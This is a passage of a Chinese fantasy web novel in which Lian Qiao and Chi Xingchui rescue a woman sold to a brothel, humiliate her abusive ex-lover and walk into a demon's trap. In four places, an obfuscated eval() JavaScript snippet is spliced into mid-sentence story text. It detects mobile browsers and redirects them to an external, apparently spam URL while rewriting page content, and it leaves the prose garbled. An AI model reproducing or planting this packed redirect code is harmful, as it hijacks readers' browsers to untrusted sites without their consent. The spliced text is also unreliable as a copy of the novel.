连乔:“噗嗤……哎不要,我保证不笑了,别关了,别关,师兄,你那边见到红颜女了吗,情况怎么样,有没有可疑的人混进来?” 迟星垂能想到对面连乔那压不住的嘴角,他微微叹了口气,“这里一直有人在门口把守,我动不了。” “现在是晚间,醉玉馆营业,所有人都出来了,等白日里,大家都休息了,我再出动,不容易打草惊蛇。” 暂时只能这样,连乔道,“那随时保持联系,师兄,有什么不对的叫我,我一直都在醉玉馆。” 迟星垂:“?” “在醉玉馆周围。”连乔坐在对面客栈的二楼,正对着醉玉馆,对面的香风混着春日里的和煦晚风,扑到客栈里,老远就能闻得到。 街上隔着老远都是甜腻的胭脂香粉味,从客栈一直跟到街上。 “这位爷,算不算命啊?” 说话的是一个中年道士,穿着黄袍道服,吊梢眉长胡子,蹲在长街尽头的阴影里,不注意看都见不到人。 “不算不算。”连乔走到一半又折回来,“能算姻缘吗?” 那道士上下瞄她一眼,“算,能算。” “给,帮我算个人。”连乔坐到摊子前,鬼鬼祟祟的,龇着牙笑,“不算我自己可以吗?” “不算你自己?”那道士问,“你要算谁?” 连乔把迟星垂生辰八字给对方,“算这个人,这个男的,你帮我算算他什么时候能爱上我?” 对面那人大惊,“男的,爱上你?” 连乔点头,“对啊,爱上我。” “不算,走走走。”那江湖道士立刻轰连乔离开,“我这是正经摊子,不搞这些歪风邪气的,走走走……” 连乔往桌上放了一锭银子,那道士斜了斜眼,连乔问,“算吗?” 道士将银子抓起来,放嘴里咬,确定是真的后又用袖子擦,“算,算,当然算。” 收了银子,掏出一张纸,又问连乔,“你……你认不认得字?” “会一点。”连乔望着白纸,“要把我的生辰八字也写上去吗?” “当然。”连乔伸手写了几个字,道士的目光在她白皙秀气细腻的手上划过,等连乔写完了,他举起纸,对着旁边的灯光看。 连乔问:“怎么样?” “你要算的这个人,和你之间……有点悬。”道士摸了摸胡子,表情高深莫测,“如果不出我所料,你们之间有过矛盾吧?” 连乔非常吃惊,“您怎么知道?” “我当然知道,我可是活半仙。” “活、活!”连乔竖起大拇指,“不仅是活,简直是高啊!” “而且你们俩在一起,可能会受到不少人阻挠,甚至要经过很多考验,才能修成正果。”道士说,“不过你放心,如果你们一直坚持,就算是不能在一起,也是会有一段美好的经历。” 连乔备受鼓舞,非常感动,“那就承活仙的口了!” 望着连乔离开的背影,瘦削的道人眯起眼睛,又望着手里留下的八字印。 全阴八字,又是异世魂魄。 他好久,没有看过这么完美,这么强悍的阴魂了。 连乔逛完外街,回到客栈,闲闲地让店小二沏了壶茶送到楼上,这才关起门躺下。 一躺下,她立刻用万机联系上迟星垂,“我发现妖道了。” 起初她也不确定,一直到那道士看到全阴八字后手明显顿一下,而后她又嗅到一股甜腥的味道。 那个味道很淡,要凑近了才能闻到。 “我在街上碰到他的,他扮成一个四处游历的江湖术士。” 迟星垂问:“你现在在哪里?” 连乔压低了声音,“迟星垂,现在妖道就在醉玉馆周围,他随时可能会对洪颜下手,你动作要快些了。” 次日清晨,闹腾一晚的醉玉馆终于安静下来,守着迟星垂的俩大汉站在门口,一步不离。 这一夜迟星垂安静得很,仿佛接受了自己的命运,不哭不闹不反抗,俩人也放松了警惕,昏昏欲睡,头一点一点的,小鸡啄米一样。 迟星垂送了点迷魂烟出去,两个人像没骨头一样,软软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672660|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒下来。 迟星垂按照昨天偷听到的地方找红颜女,在三楼右侧最里面的房间找到她,她门口也同样有两个人,迟星垂如法炮制,将那两个人放倒。 红颜女正坐在窗前,听到动静,立刻缩到墙角抱成一团。她没有见过迟星垂,“你、你是谁?” “我也是被卖到醉玉馆的人。”迟星垂解释道,“你的事我听艳娘说过了,你我同病相怜,这里不是什么好地方,我带你走。” 洪颜仰头望着迟星垂,先是怔愣,再是惊喜,最后又变得沉顿,迟星垂喊一声,“姑娘?” 洪颜蜷缩在角落里,抱着胳膊,这是自我防御的姿势,“你与我两个弱女子,手不能提,肩不能扛,就算是逃出这醉玉馆了,也逃不出这墨江,最后还是会被抓回来。” “我们逃不掉的。”洪颜叹了一口气,“再说了,就算逃,我们能逃多远,又能逃到哪里去?” 她也不是没有尝试离开过这里,失败的次数远大于成功次数,只有眼前这个丫头这么天真,觉得自己逃出去了还有得活。 迟星垂回道:“我有办法送你回桐花岭,送你回家。” 洪颜愣住,“你怎么知道我来自桐花岭?” 迟星垂还没有回答,洪颜自嘲地笑了,“你送我回家又能怎么样,回到桐花岭,我还不是会死?” 洪家不会再要一个离经叛道又不忠贞的女儿,她在这里可能会被折磨死,回家,只会不明不白地死。 不过是从一个囚笼跳到另一个深渊罢了。 洪颜在角落里窝了一会儿,叹了一口气,“算了,姑娘,你若是还有回去的地方,就赶紧离开吧,我就不走了。” 外面传来脚步声,迟星垂俯下身,压低了声音解释道,“洪姑娘,同我走吧,再不走来不及了。” 洪颜摇了摇头,目光空洞,“这世间这么大,也没有我容身的地方了,算了。” “你放心,即使你不回桐花岭也没关系,我会安顿好你。” 洪颜笑了笑,笑容和她脸色一样苍白,“我还能去什么地方吗?” “墨江东郊有一家女子道观,我们可以先去那里避风头。” “道观……” 如果回不去桐花岭,也无处容身,下半世青灯古佛了此残生,好像也没什么不好。 洪颜抬头看着迟星垂,初春时节,天还冷,他穿着交领衣,将脖子遮住,俯身时衣领落下,露出白皙的修长的脖颈。 洪颜看到他,忽然倒吸一口凉气。 她有喉结? 她是个男人? 洪颜倒是也听过一些风流传说,有的寺院和道观专收女子,也不是做善行,只是为了某种见不得人的交易。 怪不得去道观呢? 忽然就想起李怀杨了,也是这种谎话连篇,当面一套,背后一套。 “你走吧,我不走了。”洪颜脸色冷下来,像这乍暖还寒时候的冷风,不近人情,“在我叫人之前,你先走吧,别等我改变主意了。” “姑娘……” “来人!” 外面响起脚步声,迟星垂望着外面,对洪颜道歉,“冒犯了姑娘。” 洪颜顿时感觉天旋地转,等再睁开眼,已经不在醉玉馆内。 73.第 73 章 连乔探头,直到面前的姑娘睁开眼,她喊迟星垂过来,“醒了醒了,她醒了。” 洪颜从床上坐起,“我这是……在哪里?” “你放心洪姑娘,你已经安全了。” 洪颜抬头就看到迟星垂,她抿了抿嘴唇,又往后面缩了一下。 连乔:“迟星垂你对她做什么了,她怎么吓成这样?” 迟星垂:“……她发现我是男人了。” 连乔:“啊?” 洪颜对两个人都十分抗拒,但是眼下已经顾不得那么多了,现在已经把她救了出来,保证了她的安全,其他事可以后面再慢慢解释。 连乔道:“醉玉馆发现一下子丢了两个人,一定会闹大的,到时候妖道肯定有所警觉,现在小竹还在她手上,我们不能打草惊蛇。” 这可如何是好? 连乔道:“师兄,童元宝说虞南子师父会教各种奇技,你会易容。” 迟星垂迟疑了,“虽然你同洪颜姑娘身形很像,易容只需要改变相貌,但是再回到醉玉馆对你来说太危险了。” “不危险,你一直守在我身边就行。”连乔坐下,示意迟星垂帮她改脸,“其实,我也很想弄清楚,那不人不魔不鬼的到底是什么东西。” 连乔和迟星垂重新回到醉玉馆,连乔扮成洪颜的模样坐在床上,脸色苍白,双瞳发红,刚哭过一样。 迟星垂发现,连乔可以在很快时间装成另一个人的模样,且神色和小动作都一模一样,大概也是这个原因,她扮作连翘滴水不漏,连最亲近的人也很难发现。 迟星垂坐在一边,门外倒下的人悠悠醒转,急匆匆冲进来发现里面的人并没有不见,顿时松了一口气。 连乔看到莽撞冲进来的人,皱起眉来,脸色不虞,但声音却是细声细气的,“你们随随便便闯进来干什么?” 那两人对视一眼,“洪颜娘子,我们刚刚不知道怎么睡着了,还以为你……” “你们在看守我的时候还睡觉,要是给艳妈妈知道了,还不得把你的腿打断?” “洪颜娘子,千万别告诉艳妈妈。”两大汉身高体壮,提到艳娘却是脸色凄淡叫苦不迭。 左边那人斜眼瞄了迟星垂一眼,连乔坐得很正,“这丫头是桐花岭人,和我是同乡,她方才无意间撞开了我的门,我和她说说话。” “洪颜娘子想说话,那自然是可以说。”右边那人有点迟疑,“就是别给艳妈妈知道了,艳妈妈最忌讳娘子之间说得太多了。” “知道了。”连乔拉着迟星垂的手,又擦了擦他的眼睛。 迟星垂的演技确实不好,往眼睛里揉了辣椒水也哭不出来,只是单纯地眼红。 当然,他性格这么傲,叫他随便哭,那也是不可能的。 连乔取出帕子擦了擦他不存在的眼泪,“妹妹,你别哭了,都到这里了,总有口饭吃,饿不死我们。” 迟星垂:“……” 望着没表情的迟星垂,连乔逮着他胳膊使劲捏一把,迟星垂愣是没哼一声,只是抽回了胳膊,但是因为连乔力气太大,痛得他脸微微泛红。 看着就像是哭红了脸一样。 回到房间,连乔问迟星垂还好么。 迟星垂:“你力气真大。” 连乔:“……” “连乔啊……”那端的迟星垂像是叹了口气,半晌,他望着身上花花绿绿的衣服,沉默了。 连乔:“怎么了?” 迟星垂闭上眼,“没什么。” “我这里倒是有消息要跟你说。”连乔将万机化小,藏在手串的珠子里,伸手托着下巴,小声地对迟星垂说话。 “我今夜要第一次出面了,之前红颜女的状态不太好,甚至有宁死不折的迹象,我现在稍微服软一点,艳娘让我出去露个面,我答应了。” “妖道已经跟来墨江城,他随时可能会下手,我招摇一点,他能发现我的可能性就更大。” 连乔托着下巴,“但是师兄,有一个问题,洪颜女会弹琴,我不会。” 按照艳娘的打算,是想让洪颜一曲惊艳四座,艳娘听过她抚琴,想将她打造成醉玉馆新的才女。 但抚琴是功夫事,短时间内不可能学会。 “我可以教你。” 连乔道:“师兄你会奏琴吗?” “会一些。” 迟星垂是谦虚,事实上他琴技精湛,提点连乔几句,让连乔跟着学。 抚琴静心,简单的手法学会,便可以上手弹易上手的曲子。 连乔坐在古琴前,迟星垂说一句她跟着照做一次,半晌,那端传来“轰隆”一声,紧接着是长久的沉默。 “连乔?” 见连乔没有应,迟星垂又喊了一声,“连乔?” 连乔捏了捏手,脸色有些尴尬,“不好了,琴坏了,琴弦全断了。” 那边的迟星垂沉默了。 连乔也跟着沉默,过会儿她又开口,“师兄,师兄?” 迟星垂道:“罢了,伸手。” 连乔伸手,忽然感觉食指和拇指动了一下,十指也不受自己控制。 她尝试虚抓了一下,又被一股不知名的力量拉平,连乔倒吸一口凉气,“我的手?” “放松。” “你干的?” “嗯,我给你施了一点点傀儡术,现在你顺着我的动作来,不要带着自己的情绪。” 连乔感受到自己的手被一双手裹住,十指上像是吊了一根线,由着那根线来摆动。 “你把琴盒中的替弦取出来。” “你怎么知道琴盒中有替弦?” 迟星垂道:“你弹的这种琴声音清脆,但缺点是琴弦易断,所以琴盒中会配相应的一套替换弦。” 连乔顺着迟星垂说的,果然在琴盒的底部找到一整套新的琴弦,迟星垂通过连乔的手替她换上新弦,又来回拨动琴弦调好了音。 “师兄,你看不见我的琴,也可以弹吗?” “嗯。”迟星垂将连乔的手平放在琴上,调整到自己习惯的位置。 连乔道:“洪颜女弹得最多的是《鸿雁书》,原本今日定的就是弹这一首。” 她的手轻放在琴弦上,感觉左手带起,又推出,像是迟星垂握住她的手,在手把手地教。 握住她的手,那得从后面环住才能这样提起来……这是一种什么奇怪的姿势? 连乔脑海中冒出很奇怪的想法。 “专心。” 连乔把思绪拉回来,迟星垂冷淡平静的声音从万机中传来,“古琴左右手不同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687558|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手有八法,分别为抹、挑、勾、剔、托、劈、打、摘,左手则为绰、注、进复、退复……比如这一步,左手无名指注十徽,而右手中指则勾五弦……” 和方才她自己摸索得完全不同,曼妙的音乐从指尖倾泻下来,像天幕合起后露出面的月亮,温柔无声得将月光倾洒下来,光泽淡淡的,轻柔、恬淡、温软、绵长…… 连乔甚至能想象到迟星垂坐在月光下弹琴的模样,他本就应该是那个模样,清冷如月光,偶尔毒舌,偶尔傲娇,但是总是平和待人,能够尊重每一个人,就像这春夜里沉在水底的月光,看着深不可测,其实皎洁又澄澈。 “听明白了吗?” “连乔?”没有听到回应,迟星垂又喊了一声,“连乔。” 连乔眨了眨眼睛,“听到了。” “嗯。”迟星垂回答了一声,又听见连乔开口,“听不懂。” 她双手一摊,“我还是不会。” “师兄,这太难了,我从没学过。”连乔顿了一下,“……你也知道的,我在子午谷这么多年,都是听别人给我弹琴,我哪会吃这个苦。” “嗯。”那端的迟星垂声音淡淡的,听不出情绪,“学琴本来便不是一蹴而就的,今日你你只需出面,其余的交给我,日后若有机会,我再教你学琴。” 连乔双手捂住胸口,一副受宠若惊的模样,“真的?” 半晌想起迟星垂在拉着她的手,虽然也不清楚是怎么个拉法,是手把手拉还是提线木偶一样拉,但是这动作好像是有点怪。 那端迟星垂也沉默一下。 连乔默不作声地把手放下来,迟星垂清了清嗓子,“我发现,你好像能学的都会主动去学一点,你很需要这些吗?” 比如剑术,比如咒法,比如障目术……再繁琐的再累赘的事,她从不会觉得难。 “当然了。”连乔道,“也许哪一天能保命呢,多学一点东西,总是没错的。” 连乔又将手轻轻放在古琴上,“师兄,你的傀儡术练得如何?” “能用。” 又谦虚起来了。比起原男主迟来风那种恨不得全天下都知道我是花孔雀的性格,迟星垂实在是太沉稳了,沉稳得不像是他这个年纪的人。 连乔还想听琴,“为了保证万无一失,我们多练几次吧?” 迟星垂顿了一下,没有揭穿她,带着她的手拨过错落的琴弦,琴音从指缝中溜走,动如清风,润如雨泽,许久以后,天边最后一抹余光沉入地平线,静谧的夜色中,只剩下余音袅袅,在墨江的月色里随风而散了。 连乔用绝美的琴音引来满堂喝彩,她坐在幔帐后面,隔着翻飞的白纱,望向四围。 没有异常。 妖道入邪前修的是正途,禁女色,误入歧途了还没有改掉这个毛病吗,她都这么大阵仗了,也没有引来他? 怕自己没注意到,连乔又给迟星垂传音,迟星垂躲在楼上,底下的一切一览无余。 半晌,他道,“没有。” 现在人声鼎沸鱼龙混杂,混进醉玉馆是最好的时候。那妖道想下手,这种时候是最方便的,如果今天不来,应该也会在类似的时间下手。 一连两天,妖道都没有动作,直到第三天,连乔没等来妖道,等到一个“熟人”。 74.第 74 章 “阿颜。” 来人青衣白衫,丰神俊朗,面容明媚,身边还有两个人,都是类似的装扮,一派才子模样。 连乔没有答话,那人倒是看上去和她非常相熟,“阿颜,没想到在这里碰到了你,实在是……太巧了。” 他的目光在连乔身上扫过,从头到脚,又在她的腰间流连一番,最后又回到脸上,有探究更有审度。 连乔觉得很不舒服。 这种人连乔向来不惯着,她蹙眉离开,那男子却伸手拦住她。 连乔:“让开。” “阿颜,好歹曾经有过一场露水姻缘,再见面了,也不用这么装作不认识我吧?”那人伸手想去摸连乔的脸,连乔后退一步躲开。 她知道面前这有你男子是谁了。 穿着干净俊朗,看着人模狗样,是洪颜那位负心人,李怀杨。 李怀杨扑了个空,倒也不恼,仍旧摇着扇子一派风度翩翩的模样。连乔现在要对扇子戴有色眼镜了,为何一个个装逼的都爱使这玩意儿? “阿颜,我知道你恨我。”李怀杨伸出扇子,勾出连乔的下巴,“可是我们毕竟夫妻一场,你这般待我,叫我好生无奈。” “怀杨,这就是你那位温软如玉,乖巧可爱的小娘子?”身后一个类似装扮的男人搭过李怀杨的肩,“果然啊,如你所说,窈窕淑女,绝美红颜。” 李怀杨朝他一笑,那人也接了一个笑,二人会心一笑,又转向连乔。 李怀杨扬一扬下巴,“颜娘,正好大家都在这里,不如你跟我们喝一杯?” 连乔:“呵呵,楼下的辰少爷花三百两让我陪他喝一杯都得排着队,你一个没脸没皮没钱的穷酸书生,你有钱请我么你就让我喝?” “你……”李怀杨没想到洪颜会说出这种话,托着连乔下巴的扇子换了一个边,凑上前去小声地,“三百两?” “对啊。”连乔从鼻腔里哼出来一声,就差没将嘲讽两个字刻在脸上,“你当初因为没钱,三十两把我卖到黑市,哎呀我忘了……” 连乔捂住嘴,“李公子你连三十两都没有,三百两岂不得要你命了?” “你……” 连乔拉住扇尾,反手拍在李怀杨脸上,拍了两下,轻浮又造作,“穷酸的李公子,想请我喝酒,好好等着吧!” “你过来。”李怀杨恼羞成怒,拽住连乔的胳膊,将她拉到一个无人的角落,他压低了声音,“洪颜,我倒是小瞧你了。” 他从下到上将连乔扫了个遍,“没想到才来这里几天,你就变了一副嘴脸,还真是稀奇。” “不都是拜你所赐?”连乔反过去用同样的油腻目光上下扫射他一遍,看得李怀杨眉头直皱,“你把我卖到这里来,我耳濡目染也看清人心,现在你还想让我陪你喝酒,李怀杨,你良心呢?” 这种人,到底是有多厚的脸皮多歹毒的心肠,做出那种事居然还有脸来打招呼? 看到连乔这么激烈的反应,李怀杨脸色才好了些,他吐了一口气,拽住连乔,“别说这些,你跟我去喝酒,否则有你好看。” “有我好看?”连乔冷笑,“醉玉馆不是你想荒唐就荒唐的地方,你没钱买镜子就撒泡尿给自己照照,看看自己什么德行有资格叫我好看?” “你!”李怀杨脸色奇黑无比,“果然是在这地方耳濡目染,叫你变得这么粗俗!” “哎呀,戳中你痛处啦?”连乔捂着嘴清脆一笑,“我还以为李公子心肠黑得已经没脸没皮没有道德底线了,居然也会被我几句话激怒吗?” 李怀杨拉住连乔的手,“随你怎么说,今天你喝也得喝,不喝也得喝。” 他身体前倾,对着连乔露出一个阴森的笑,“颜娘,你现在已经在这种地方了,不干不净不明不白,我想,你也不想让洪家知道吧?” “当然,你为了我,已经和洪家断绝关系了,洪家也放出狠话,说不会再认你这个女儿。”李怀杨歪着嘴角,“但是不管他们认不认你要不要你,你应该都不想你卖身青楼这件事,被传回去吧?” “毕竟是大家闺秀么,最要脸面了,要是让你昔日好友知道你委身在这种地方……”李怀杨笑眯眯地望着连乔,故意放慢了语调,“你也不想你都离开洪家了,还要为你家里蒙羞吧?” 连乔盯着他看,“你想把我的事捅回去?” “到底要不要把关于你的消息传回去,就要看你的表现了。”李怀杨不怀好意地笑,望着她的眼神充满了暧昧,“看你现在的模样,和以前倒是非常不同,这样吧,你先陪我的朋友们喝几杯酒,等大家满意了,你再把我伺候好,我要是开心了,不管是你的家里还是哪里,都不会有关于你的风言风语。” 连乔冷笑一声,“我不去。” 连乔抱着胳膊,“李公子,你来醉玉馆要懂规矩,我卖艺不卖身的,一曲两百两,你个穷酸东西,付得起吗?” 李怀杨脸色变了变,很快又恢复如常,他凑过来,“卖艺不卖身?我也不是不知道你身子是怎么样的,你在我这里装什么呢?” “李怀杨,你还真是无耻。” “无耻,怕你不知道更无耻的。”李怀杨推了她一把,“别驳了我的面子,否则你的艳文趣事儿可都包不住了,届时谣言满天飞,就不是你能制止得了的。” 他裹挟着连乔往前,似乎和洪颜很熟一般。 将红颜女带回来后,在场的几个青衫人都在打趣,“李兄,这红颜女可是一曲难求,今个儿你可要破费了。” “不破费。”李怀杨揽着连乔坐下,他想摸连乔的脸被连乔推开。李怀杨脸色变了变,片刻又恢复如常,“我和红颜姑娘是老相识了,今个儿娘子为我们多弹两曲,只当是为我们弟兄几个助兴。” 连乔斜眼望着李怀杨,“你不会连钱都不想付吧,你想白嫖?” 李怀杨愣住,他倒是没想到素日里温婉的洪颜居然会说得出这般粗俗的话来,他捏住连乔的脸,恶狠狠地,“你真不怕?” “我怕什么,都已经这样了,你还能把我怎么样?” 李怀杨当即扬起手,“老子给你脸了,没被我打够吗?” 什么意思? 洪颜和他私奔后,不仅被卖到黑市,在被卖之前,还被这人渣打过? 连乔想起原书中红颜枯骨的传说,那红颜女非常厌恶朝三暮四见异思迁的男人,更厌恶虚假嘴脸的恶相,尤其讨厌迟来风,所以时时找机会勾引迟来风并且妄图杀了他。 受到这人渣这种虐待,怎么可能没有心理阴影? 看连乔愣住,李怀杨以为是她怕了,他示意连乔将桌上的酒喝完,桌前人都在盯着李怀杨,又望一望连乔,有人开始起哄。 “李兄,你到底行不行啊?” “这红颜女好像不太听话啊?” “李兄怎么不行,李兄不都把红颜女带过来了么?” “带过来又有什么用?”一个头戴冠帽的男子摇头晃脑,“没看到红颜娘子连杯酒都不跟我们喝吗?” “是啊,他们要是熟,红颜娘子至于这点脸面都不给吗?” “张兄,这话就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702834|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了,你看我都将红颜女带过来了,自然是相熟了。”李怀杨被激怒了,“颜娘,还不快给我张兄敬杯酒?” 连乔举起酒杯,在李怀杨笑眯眯地眼神中,连酒杯带着酒全砸到来人头上,砸了个稀碎。 “不知道我这杯酒烈不烈?” “洪颜,你真是疯了!” “我是疯了,我都被你卖到这种地方了,你还指望我有多要面子?”连乔冷笑一声,“你不会真觉得我会受你威胁吧,你把我哄骗出来,厌了烦了随手就丢掉,现在我换了身份了,你又觉得新鲜了,还有脸拿我的脸面威胁我?” “有本事你抖回洪家啊,我看到底是我无可奈何被你迫害见不得人,还是你虚假做派狼心狗肺罔顾人伦来得不要脸?” “李怀杨你的圣贤书读到狗肚子里了,哦不,你读得哪是什么圣贤书做圣贤人,就你这种货色,真是连人都称不上,骂你猪狗都是侮辱了猪狗,说你牲畜都是给你贴光,你李怀杨是个什么东西,你不是个东西!” 李怀杨说不过她,伸手就要打她,连乔大喝一声,旁边立刻围了四个彪形大汉,将李怀杨死死扣在地上。 李怀杨彻底怒了,破口大骂,“洪颜你个臭婊.子,老子倒了霉才碰上你这么条死鱼,一动不动的像个死人一样,醉玉馆居然还能买你,这得花多大的本钱去教你风月事啊,哈哈哈哈哈……” 他原本以为能引来洪颜的羞愧不止,哪有女子能忍受这种辱骂,但是对面人出奇地平静,一双眼锁在他身上,像一汪深不见底的滩水。 李怀杨莫名心惊。 “说完了吗?” “当然没说完!”李怀杨“呸”了一声,“你都不知道被我玩过多少回了,居然还想在这醉玉馆卖个好价钱,还真把自己当回事,啊!” 连乔一脚踩在他脸上,旁边有人要上,立刻被管事的人逼回去。 连乔死死地用脚碾李怀杨的嘴,碾得他牙都碎了几颗。 这一脚是替洪颜踩的,到底是不能信男人,前期伪装得多好,现在被戳穿了面目就有多不堪。 李怀杨还要再骂,“也不知道今天红颜娘子这红肚兜还鲜不鲜艳,脱下来值不值两百两?” “我这衣服值不值两百两不知道,我就知道你衣服下的破裤子烂了洞也没钱换。”连乔“对着他的脸又是一脚,啧”一声,“不过也没关系,你这破玩意儿,也就配烂裤子。” 李怀杨:“你什么意思?” 连乔比了个小小的手势,“李公子,来醉玉馆呢,不仅要有钱,没钱也供姐妹几个消遣么不是,你一没钱,二么……也不行……” 她上下扫视他一眼,“噗嗤”一笑,大家懂得都懂,李怀杨脸瞬间就绿了,“我没有!” “别闹事儿了,李公子,没钱又不行的东西,别来这醉玉馆消遣,这不是你这种玩意儿来玩的地儿。”连乔指了指对面,“对面有座茶楼,比较适合你这种……啥也不行的东西。” 连乔举着扇子“噗嗤”一笑,李怀杨脸都绿了,旁边人看向他的眼睛也意味深长。 “把他们轰出去。”在把人丢出去前连乔伸手拦一下,“把他身上值钱的扒下来,他酒钱还没付呢,还想吃白饭,丢不丢人?” 李怀杨身上青一块紫一块,衣服更是东一片西一片,好不狼狈,之前一起吟诗作对的狐朋狗友们见状做鸟兽散,生怕沾上这个瘟神。 李怀杨后槽牙都要咬碎了。 他艰难从地上爬起来,“呸呸”吐了两口土。 一双灰色的旧靴立在他面前。 75.第 75 章 寂静无声的夜色下,一只蝴蝶落在连乔肩上,蝴蝶抖着翅膀绕着房间飞一圈,又从窗缝间离开。 万机平躺在桌上,里面传来迟星垂的声音,“准备好了吗?” “已经放出去了。” 迟星垂在那端道,“银蝶能跟着李怀杨,了解他的行踪,但是你为什么要跟着李怀杨?” “昨天你听到了吗?”连乔翻着手里的万机,银蝶传来的画面非常模糊,看不清楚,“李怀杨说他要去桐花岭散播我的恶名。” “虽然我并不怕什么所谓的恶名。”连乔靠在椅背上,“但是洪颜总会在乎的。” 迟星垂了然一笑,“盯着李怀杨,要是他真的回桐花岭了,你又当怎么做呢?” “我撕了他的嘴。”连乔道,“真撕,让他以后再也说不了话。” “不过很是奇怪啊。”连乔将万机来回翻转,“银蝶没有问题吗?” “怎么了?” “这里模模糊糊,看不清他周围有什么?” “我看看。”迟星垂一看,眯了眯眼,“确实看不清,不过这画面模糊归模糊,却稳定,想来不是遇到异常危险。” “我再派一只出去看看。” “好。” “红颜娘子,有人特意点了要听你弹曲。”门被敲响,一个双髻圆脸的姑娘推开门进来,请连乔出去。 连乔问:“谁啊?” “艳妈妈说是一位贵客。” 连乔刚走出门,夜幕降临,醉玉馆的灯被点上,好像都是刚添上煤油,灯芯也很短似的,光线昏暗,气氛沉闷,有种让人不适的压抑。 艳娘朝连乔使了个眼色,连乔站在原地没有动,艳娘又拉着她过来,“红颜娘子啊,来,过来。” “连乔。” 识海里传来迟星垂的声音,“银蝶没有问题,这是我的追踪蝶,因为认主,所以不能窥探我周围的情况,银蝶之所以画面模糊,是因为,李怀杨就在这周围。” “在这周围?” “嗯。” 他在这周围能干什么? 艳娘引着连乔坐下,说是醉玉馆来了个一掷千金的贵人,等连乔看清了来人的面目,回迟星垂道,“不用找了,他在醉玉馆里面。” 李怀杨坐在桌前,脸色阴沉,双眼乌青,明明是一个活人,却有种灰败的死人味儿。 连乔定了定神,“呦,这不是昨天刚被轰出去的李公子么,怎么,今天有钱来这里消遣了?” 一把金子撒在桌上,李怀杨转了转脖子,乌青的眼紧盯着连乔,也不说话。 对面的艳娘笑得嘴都咧到耳朵,她伸出肥腻腻的胖手,将桌上的碎金全捋在一起,又抓起来放好,笑呵呵地指示连乔,“红颜娘子,你就在这里陪李公子喝喝酒弹弹琴,啊。” “等一下。”连乔拦住艳娘,她望着李怀杨,“你不觉得这个人有问题吗?” “有什么问题?”艳娘咬了一口金子,确定是真的,“我们开门做生意嘛,就是来赚钱的,这么多年我还是第一次看到出手这么大方的,你快去吧,等会儿的赏少不了你的。” “你真没发现这个人很诡异吗?” “诡异什么?有钱能使鬼推磨,你给鬼推磨也行。”艳娘拍拍她的肩膀,“去吧。” 门从外面被关上,连乔转身坐下,正坐在李怀杨对面,望着他漆黑的像深潭的眼珠。 对面不说话,连乔也不说话,她等着对面的动作,直到周围房间的布局褪去,变得一片昏暗,像处在一个封闭的空间中。 等连乔走了一圈,发现这是一个圆形区域,中部空间更宽广,头顶和脚底部分更狭窄,仿佛她置身于一个炉鼎中。 起先是安静的,她的脚像是被什么缠住,走得越来越慢,而周围空间也越来越宽广。 忽然,平地一声雷,传来一声尖叫,紧接着有人怒吼,有人厮杀,一股无形的力量扑面而来。 连乔祭出丛林,在这黑暗中猛地一劈。 “呛……”像是碰到了某种金属。 连乔被这密闭空间弄得心烦意燥,又有各种诡异的声音从四面八方涌过来。 她闭上眼,默不作声,那些声音就围绕在耳边,连乔再挥剑,一剑一只。 不知道斩了多久,一个细微的声音传入耳朵。 “嘻嘻……” “嘻嘻嘻……” 这次这个声音倒是有些耳熟,连乔睁开眼,这次居然不是一片昏暗,不远处有细微的亮光。 迎着亮光走过去,这才发现是一个灯笼,灯笼半人高,里面的芯被掏空了,放上一根小臂粗的蜡烛。 就是这灯中间空空,从一个圆的上下左右方向各出了一个角,就像是一个变异的人。 那熟悉又诡异的声音还在继续,“嘻嘻……” “嘻嘻嘻……” 连乔忽然想起来,这不是小竹的声音吗? “姑娘,你猜吧,你猜对了,我送一个灯笼给你。” “没关系的,猜错了也没事……” 小竹双手抱在一起,形成一个游鱼手势的模样跃然于眼前,连乔立刻确定,这诡异灯笼发出来的声音,就是小竹的! “嘻嘻,你走不掉了……” “你也来陪我们啊……” 连乔伸手,拍了拍那灯笼,立刻有火烧到了她的袖子。为避人耳目,连乔没有穿法衣,蓝绿色的鬼火点燃袖子,立刻烧到手上。 她一把抓住灯笼,“小竹?” 灯笼明显一愣,在这停顿的一秒时间内,连乔可以断定,这人皮灯笼,就是卖灯笼的小姑娘,但是这灯笼被拉得变形了,也不知道是如何发生的。 小竹似乎迷惘了一下,她刚被捕到这里,没有经历长时间的折磨,理智尚且存在。 她没认出连乔,更没人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 